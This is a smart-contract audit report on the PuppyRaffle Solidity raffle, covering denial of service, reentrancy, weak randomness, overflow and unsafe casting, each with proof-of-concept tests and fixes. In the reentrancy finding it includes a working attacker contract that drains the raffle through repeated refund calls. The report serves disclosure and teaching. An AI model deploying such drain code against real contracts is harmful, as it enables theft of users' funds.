Protocol Audit Report

Prepared by: Umar Murtala

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Mahir team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact		
	High	Medium	Low

		Impact		
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Findings

High

[H-1] looping through players array to check for duplicates in the `PuppyRaffle::enterRaffle` function is a potential denial of service (DOS), increasing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the larger the `players` array is, the more checks a new player will have to make, thus increasing the gas cost for subsequent entrants.

```
    // Check for duplicates
    //@audit DOS Attack
>@        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas cost for entrants will increase as more players enter the raffle, discouraging later users from entering the raffle.

Proof Of Concept:

If 2 sets of 100 players were to enter the rafle, there would be significant difference in the amount used by the players.

First hundred: ~6252047 gas used Second hundred: ~18068137 gas used

▶ Code

```
    function testDoS() public {
        address[] memory firstPlayers = new address[](100);
        for (uint256 i; i < 100; i++){
            firstPlayers[i] = address(uint160(i));
        }

        uint256 firstGasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(firstPlayers);
        uint256 firstGasEnd = gasleft();
        uint256 firstGasUsed = firstGasStart - firstGasEnd;

        console.log("Gas used in first instance: ", firstGasUsed);

        address[] memory secondPlayers = new address[](100);
        for (uint256 i; i < 100; i++){
            secondPlayers[i] = address(uint160(i + 100));
        }

        uint256 secondGasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(secondPlayers);
        uint256 secondGasEnd = gasleft();
        uint256 secondGasUsed = secondGasStart - secondGasEnd;

        console.log("Gas used in second instance: ", secondGasUsed);

        assert(firstGasUsed < secondGasUsed);
    }
```

Recommendation: Here are some of recommendations, any one of that can be used to mitigate this risk.

1. User a mapping to check duplicates. For this approach you to declare a variable `uint256 raffleID`, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
```

```
        for (uint256 i = 0; i < newPlayers.length; i++) {
+            // Check for duplicates
+            require(usersToRaffleId[newPlayers[i]] != raffleID,
"PuppyRaffle: Already a participant");

            players.push(newPlayers[i]);
+            usersToRaffleId[newPlayers[i]] = raffleID;
        }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

2. Allow duplicates participants, As technically you can't stop people participants more than once. As players can use new address to enter.

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        emit RaffleEnter(newPlayers);
    }
```

[H-2] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain the raffle balance

Description The `PuppyRaffle::refund` function doesn't follow the CEI (Checks, Effects, and Interactions), and as a result, it allows the entrant to drain the raffle balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` before we update the `palyers` array.

```
    function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player enters the raffle could have a `receive` or `fallback` functions that calls the `PuppyRaffle::refund` again. This may continue untill they drain the raffle.

Impact All fees paid by the players could be stolen by malicious participant

Proof of Concept

1. User enters the raffle
2. Attacker sets up a contract that has a `fallback` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls `Puppyraffle::refund` from the attack contract, draining the raffle.

Proof of Code place the following into PuppyRaffleTest.t.sol

▶ Code

```
    function test_reentrancyRefund() public {
    // users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // create attack contract and user
    ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    // noting starting balances
    uint256 startingAttackContractBalance =
```

```
address(attackerContract).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // attack
    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    // impact
    console.log("attackerContract balance: ",
startingAttackContractBalance);
    console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
    console.log("ending attackerContract balance: ",
address(attackerContract).balance);
    console.log("ending puppyRaffle balance: ",
address(puppyRaffle).balance);
}
```

And this contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);

        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
```

Recommendation to prevent this, we should have the `PuppyRaffle::refund` update the `players` array before making external calls. we should also move the event emission up as well.

```
function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+         players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-3] weak randomness in `PuppyRaffle::selectWinner` allows users to influence or choose the winner and influence or predict the winning puppy

Description hasing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact Any user can influence the winner of the raffle and influence the rarest puppy. This could render the whole raffle worthless.

Proof of Concept

1. Validators can know ahead of time `block.timestamp` and `block.difficulty` and use that to predict when/how to partcipate.
2. User can manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as [Chainlink VRF]

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
```js
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle

Proof of Code

▶ Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
```

```
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```diff
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```diff
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```diff
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
```

```
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```diff
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActiveIndex` returns 0 for both players at index zero and inactive players, causing player at index zero to think they haven't entered the raffle

Description If a player is at index 0, it will return 0. But also, according to the natspec, inactive players will also return zero.

```solidity
function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact A player at index zero may attempt to re-enter the raffle again, thinking that they have not entered already, causing loss of gas.

Proof of Concept

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActiveIndex` returns zero
3. User thinks they have not entered correctly due to function's documentation.

Recommended Mitigation The easiest mitigation would be to revert instead of returning zero.

You could also reserve the 0th position in any competition, another solution would be to return -1 if a user is not active.

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solidity

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 177

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppuyRaffle::selectWinner` does not follow CEI, which is not a best practice

It is better to code clean by following CEI (Checks, Effects, and Interactions)

```
-       (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: ```js uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100;

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```
```

### [I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

### [I-7] _isActivePlayer is never used and should be removed

**Description:** The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
```

```
-             }
-         }
-         return false;
-     }
```
```

# Gas

### [G-1] Unchanged state variables should be constants or immutable

It is more expensive to use storage variables than constant or imutable one. Therefore:

`PuppyRaffle:raffleDuration` should be `immutable` `PuppyRaffle:commonImageUri` should be `constant` `PuppyRaffle:rareImageUri` should be `constant` `PuppyRaffle:legendaryImageUri` should be `constant` \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

### [G-2] Array length should be cached

Whenever you call array length, you are making call to storage instead of memory

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++)
-           for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 j = i + 1; j < playersLength; j++)
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```
```